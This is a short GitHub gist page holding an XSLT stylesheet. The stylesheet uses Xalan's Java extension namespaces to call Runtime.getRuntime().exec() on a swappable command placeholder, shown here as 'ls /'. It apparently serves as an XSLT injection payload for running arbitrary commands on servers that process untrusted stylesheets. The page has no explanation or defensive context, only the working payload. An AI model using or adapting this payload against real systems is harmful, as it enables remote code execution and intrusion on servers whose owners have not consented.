Skip to content

Instantly share code, notes, and snippets.

@ProMPT120
Created November 3, 2018 15:57
Show Gist options
  • Save ProMPT120/7462fb0d7c46d8f829af068143362ee5 to your computer and use it in GitHub Desktop.
Save ProMPT120/7462fb0d7c46d8f829af068143362ee5 to your computer and use it in GitHub Desktop.
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
exclude-result-prefixes="date">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:variable name="cmd"><![CDATA[ >>>>ls /<<<< ]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
<xsl:text>Process: </xsl:text><xsl:value-of select="$process"/>
</xsl:template>
</xsl:stylesheet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment